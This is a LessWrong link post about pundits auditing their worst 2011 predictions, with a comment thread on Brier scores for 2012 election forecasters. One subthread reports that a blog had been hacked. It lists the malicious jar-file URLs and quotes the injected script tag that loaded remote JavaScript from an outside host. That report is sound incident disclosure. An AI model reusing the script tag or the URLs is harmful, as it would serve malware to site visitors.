[LINK] "Prediction Audits" for Nate Silver, Dave Weigel
post by orthonormal · 2011-12-30T21:07:50.916Z · LW · GW · Legacy · 18 commentsContents
18 comments
Nate Silver (the NYT quantitative political analyst) and Dave Weigel (the Slate columnist) have started a good tradition, listing their worst predictions of 2011. (Silver also listed his best.)
If any other pundits are doing the same, link them here.
18 comments
Comments sorted by top scores.
comment by lukeprog · 2012-11-07T20:34:51.959Z · LW(p) · GW(p)
Now that the election is over, I would like to see someone calculate Nate Silver's Brier score (including his Senate predictions), and also the Brier score for anyone else who gave that many probabilistic predictions.
Replies from: lukeprog↑ comment by lukeprog · 2012-11-08T01:37:37.695Z · LW(p) · GW(p)
Update: Gwern is working on this with me. The result will be a CFAR blog post.
Replies from: gwern, aaronsw↑ comment by gwern · 2012-11-09T00:39:17.091Z · LW(p) · GW(p)
- http://appliedrationality.org/2012/11/09/was-nate-silver-the-most-accurate-2012-election-pundit/
- http://www.gwern.net/2012%20election%20predictions
↑ comment by arundelo · 2012-11-09T01:22:56.065Z · LW(p) · GW(p)
When I go to that post on the CFAR site I get a popup window that says:
Security Warning
Do you want to run this application?
Name: Java(TM) Platform SE Auto Updater
Publisher: UNKNOWN
From: http://barbarie.ch
If I hit cancel it goes away and immediately returns. I'm using Firefox 16.0.2.
Replies from: arundelo↑ comment by arundelo · 2012-11-09T01:31:46.120Z · LW(p) · GW(p)
Looks like the whole blog part of the site is infected.
Edit: I can't pinpoint where the infection is and I can't duplicate it on another computer, but in case it helps, here are the URLs of the jar files it's trying to run:
http://barbarie.ch/pix/jar/java7.jar?r=1069897
http://barbarie.ch/pix/jar/javab.jar?r=313862
http://barbarie.ch/pix/jar/amor1.jar
http://barbarie.ch/pix/jar/amor2.jar
http://barbarie.ch/pix/jar/amor3.jar
http://barbarie.ch/pix/jar/amor4.jar
http://barbarie.ch/pix/jar/amor5.jar
http://barbarie.ch/pix/jar/amor6.jar
http://barbarie.ch/pix/jar/amor7.jar
I'm also putting a link to this info in the "Contact the CFAR Staff" form on the site.
Replies from: lukeprog↑ comment by lukeprog · 2012-11-09T02:55:10.234Z · LW(p) · GW(p)
Thanks. We have someone looking at it now.
Replies from: arundelo↑ comment by arundelo · 2012-11-09T03:37:59.708Z · LW(p) · GW(p)
In case they haven't found it yet, it looks like the code that sets the mischief in motion is the following:
<div class="textwidget"><p><script type="text/javascript" src="http://www.balivilla.fr/jquery.php"></script></p>
(LW's Markdown processor may add angle brackets around the URL that aren't really there.)
Replies from: lukeprog↑ comment by aaronsw · 2012-11-09T01:45:41.868Z · LW(p) · GW(p)
Why doesn't Jackman get a Brier score? He claims it's .00991: http://jackman.stanford.edu/blog/?p=2602
Replies from: gwern, lukeprog↑ comment by gwern · 2012-11-09T02:19:36.506Z · LW(p) · GW(p)
Jackman only just released his data now (after twittering with me, incidentally, I was able to explain why his R Brier score wasn't matching his hand-calculated Brier score) because he forgot to send it to me last night; and I'm running on fumes - we started this project from scratch yesterday at 5PM and I've been working on it ever since. EDIT: Looks like all the kerfluffle of new Brier/RMSE scores prodded Sam Wang into releasing his precise predictions too! Neat. EDITEDIT: I've gotten Jackman's data, incorporated it, discovered an error in my own data, differed with Jackman, learned he regarded 5 states as such a sure thing he didn't include probabilities while I had simply put in NA
s, and now we've converged on his Brier score. Phew! His current Brier score is 0.009713686, a bit worse than Silver's 0.009113725, and both seem to be outperformed by Drew Linzer's 0.003843257. Wang seems to've released the data, but the CSV is unlabeled and I have no idea what half the columns mean...
I'd also like to include a random-guesser equivalent for RMSE... Tomorrow.
Replies from: gwerncomment by smijer · 2011-12-31T00:25:01.124Z · LW(p) · GW(p)
Is there a free / registration only prediction market game? I'm too poor to gamble real money, but I'd like to see something that will allow gambling for points or some such, and introduce it to my circle of friends. Something that allows a wide variety of categories of bet, with the ability to add your own well-quantified predictions.
Replies from: Solventcomment by AlexSchell · 2011-12-30T22:19:51.138Z · LW(p) · GW(p)
Weigel only lists his four worst.
Replies from: orthonormal↑ comment by orthonormal · 2011-12-30T23:45:52.843Z · LW(p) · GW(p)
Fixed the post- thanks!